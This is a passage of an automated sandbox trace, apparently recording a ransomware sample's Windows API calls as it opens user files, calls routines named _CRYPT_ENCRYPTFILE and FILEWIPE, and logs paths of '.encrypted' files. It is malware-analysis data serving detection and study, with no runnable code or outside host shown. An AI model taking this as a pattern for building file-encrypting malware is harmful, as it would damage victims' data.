lpMsg=0xe8f3dfe800) returned 0 [0022.446] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.446] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0022.446] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0022.446] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.446] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.446] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0022.446] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0022.446] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0022.446] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.446] CryptReleaseContext (hProv=0xe8f4063410, dwFlags=0x0) returned 1 [0022.446] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.446] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.446] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0022.446] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.447] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.447] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.448] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.448] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.450] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.450] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0022.450] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.450] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.450] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.450] CharLowerBuffW (in: lpsz="byte[63022]", cchLength=0xb | out: lpsz="byte[63022]") returned 0xb [0022.452] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.452] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0022.452] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.452] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0022.452] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.452] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.452] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.452] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0022.452] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.452] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.452] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.452] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.452] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.452] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.452] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.452] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.452] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.453] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.453] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.453] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.453] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.453] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.453] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.453] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.453] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0022.453] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.453] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.453] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.453] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0022.453] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.453] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.453] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.453] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.454] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.454] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.454] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0022.454] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.454] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.454] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.454] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.454] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.456] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.456] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.456] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0022.456] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0022.456] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0022.456] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0022.456] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0022.456] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0022.456] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0022.456] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=755) returned 1 [0022.456] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0022.457] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0022.457] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0022.457] ReadFile (in: hFile=0x188, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x2f3, lpOverlapped=0x0) returned 1 [0022.457] ReadFile (in: hFile=0x188, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0022.457] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x2f3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0022.457] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=755) returned 1 [0022.457] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\fMgVztMzKdkWm\\2qHnNLlstx60xk.encrypted.swf\r\n", cchWideChar=74, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 74 [0022.457] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\fMgVztMzKdkWm\\2qHnNLlstx60xk.encrypted.swf\r\n", cchWideChar=74, lpMultiByteStr=0xe8f4069fb0, cbMultiByte=74, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\fMgVztMzKdkWm\\2qHnNLlstx60xk.encrypted.swf\r\n", lpUsedDefaultChar=0x0) returned 74 [0022.457] WriteFile (in: hFile=0x188, lpBuffer=0xe8f406a370*, nNumberOfBytesToWrite=0x49, lpNumberOfBytesWritten=0xe8f3dff0c0, lpOverlapped=0x0 | out: lpBuffer=0xe8f406a370*, lpNumberOfBytesWritten=0xe8f3dff0c0*=0x49, lpOverlapped=0x0) returned 1 [0022.457] CloseHandle (hObject=0x188) returned 1 [0022.459] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.459] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.459] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0022.459] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0022.459] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0022.459] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0022.460] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0022.460] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0022.461] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0022.461] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0022.461] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0xe8f4178820, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFile", lpUsedDefaultChar=0x0) returned 11 [0022.461] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFile") returned 0x0 [0022.461] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0022.461] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0xe8f4178820, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFileA", lpUsedDefaultChar=0x0) returned 12 [0022.461] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFileA") returned 0x7ffe2a643194 [0022.462] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\fMgVztMzKdkWm\\a7BOT.m4a", cchWideChar=53, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 53 [0022.462] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\fMgVztMzKdkWm\\a7BOT.m4a", cchWideChar=53, lpMultiByteStr=0xe8f404c210, cbMultiByte=53, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\fMgVztMzKdkWm\\a7BOT.m4a", lpUsedDefaultChar=0x0) returned 53 [0022.462] CreateFileA (lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\fMgVztMzKdkWm\\a7BOT.m4a" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\fmgvztmzkdkwm\\a7bot.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0022.462] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f41a09b0, cbMultiByte=53, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 53 [0022.462] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f41a09b0, cbMultiByte=53, lpWideCharStr=0xe8f4066df0, cchWideChar=53 | out: lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\fMgVztMzKdkWm\\a7BOT.m4a") returned 53 [0022.463] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0022.463] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0022.463] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0022.464] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0022.464] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0022.464] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0022.464] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0xe8f41786a0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CloseHandle", lpUsedDefaultChar=0x0) returned 12 [0022.464] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CloseHandle") returned 0x7ffe2a641560 [0022.464] CloseHandle (hObject=0x188) returned 1 [0022.465] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0022.465] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0022.465] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0022.465] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0022.465] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.465] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0022.465] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0022.465] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.465] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.465] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.465] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.465] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.465] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.466] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0022.466] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0022.466] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0022.466] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0022.466] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0022.466] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0022.466] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0022.466] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.466] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.466] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0022.466] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.466] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0022.466] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0022.466] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.466] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.466] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, 